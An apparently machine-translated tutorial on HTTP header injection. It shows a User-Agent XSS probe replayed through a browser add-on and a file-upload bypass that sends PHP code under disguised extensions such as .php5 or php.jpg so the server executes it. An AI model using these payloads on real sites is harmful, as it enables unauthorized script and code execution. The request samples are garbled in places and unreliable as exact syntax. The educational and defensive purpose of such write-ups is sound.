HTTP message header Injection

Www.cnblogs.com/lsk

This paper is for educational purposes only.

I found that my BLOGSPOT program is very bad, and all the submissions are very bad, so I am determined to make a good version. Sorry, my English is not very good. I will continue to work hard. OK, let's start this short article. How do you think you can see an uploaded page? I think, maybe everyone will think this is a very good BUG. Cross-Site upload is a good idea. You can also rename the file as “File.php.jpg ". However, we will talk about cross-site messaging headers. pages with such vulnerabilities are highly risky.

 

About HTTP message headers: http://en.wikipedia.org/wiki/List_of_HTTP_headers

 

You need to know that we can modify the HTTP header response packet, just like an injection example (to understand this or do some tests, you need to download and install it in FireFox Addon search "Live HTTP Headers") run this Addon. When you enter Google.com and press enter, for example, you will see some response packet data, as shown below:

 

Host: google.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml, application/xml, application/xhtml + xml, text/html; q = 0.9, text/plain; q = 0.8, image/png ,*/*; q = 0.5
Accept-Language: en-us, en; q = 0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.7
Keep-Alive: 300
Connection: keep-alive

 

Do you know how many sites will print your IP address and browser on this page? A lot !, Do you think this is correct? You can change the message header and create a Cross Site Scripting (XSS) for testing. Many websites have such vulnerabilities and are attacked, because the WEB Administrator does not know about such bugs, I do not remember very well, but Astalavista also had this type of attack vulnerability-HTTP HEADER INJECTION a few months ago. Now, when you open your Addon Live HTTP headers with the response packet of the http message header, click the option "replay" and modify the browser/user agent as follows:

 

Host: google.com
User-Agent: <script> alert (/xss/) </script>
Accept: text/xml, application/xml, application/xhtml + xml, text/html; q = 0.9, text/plain; q = 0.8, image/png ,*/*; q = 0.5
Accept-Language: en-us, en; q = 0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.7
Keep-Alive: 300
Connection: keep-alive

 

When you click "replay" again, you will see that the result is exactly the injection result of your http message header. In the test, 85% of the pages have such a BUG, if you want to go to a WEB application, be sure to be alert. Do you know how to modify this program? You only need to use the htmlspecialchars (); function. This is about the use of XSS, But I am interested in making http header injection during cross-site upload.

 

Let's take a look at this HTTP header. The message package is all the code when I upload an "IMAGE:

 

Host: www.webiste.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.8.1.11) Gecko/20071127 Firefox/2.0.0.11
Accept: text/xml, application/xml, application/xhtml + xml, text/html; q = 0.9, text/plain; q = 0.8, image/png ,*/*; q = 0.5
Accept-Language: en-us, en; q = 0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1, UTF-8; q = 0.7, *; q = 0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://website.com
Content-Type: multipart/form-data; boundary = --------------------------- 23864205337548
Content-Length: 322

----------------------------- 23864205337548

Content-Disposition: form-data; name = "userfile"; filename = "image.jpg"

Content-Type: image/jpeg

 

<? Php

Phpinfo ();

?>

----------------------------- 23864205337548

Content-Disposition: form-data; name = "submit"

 

Subir imagen

--------------------------- 23864205337548 --

 

 

This is the image response packet I have deduced in the http message header. In the middle, you can see the PHP code. OK. Let's try something different. We can change the name to image and other extensions, for example :. php (because some sites have completed the vulnerability and cannot upload the PHP extension, you can try

PhP5, PhP4, php.jpg, php.png, etc );

 

Content-Disposition: form-data; name = "userfile"; filename = "image. php"

Content-Type: image/jpeg

 

<? Php

Phpinfo ();

?>

----------------------------- 23864205337548

Content-Disposition: form-data; name = "submit"

 

Subir imagen

----------------------------- 23864205337548-

 

After sending replay, let's take a look at the returned results of HTTP message header injection. We get the POST-sent error, the content is too long. Exit the error message and click "Send replay" again:

 

Content-Length: 322

 

If the upload vulnerability exists, you will see the page after executing the uploaded code. When you click this connection, you will see your fake image. I hope you will learn new knowledge in this paper.

 

Author: Psiczn
Website: www. psiczn. uni. cc
Contact: Psiczn@gmail.com
Note: If you are going to post this little paper in some site please put the source and
Author, this paper have copyright.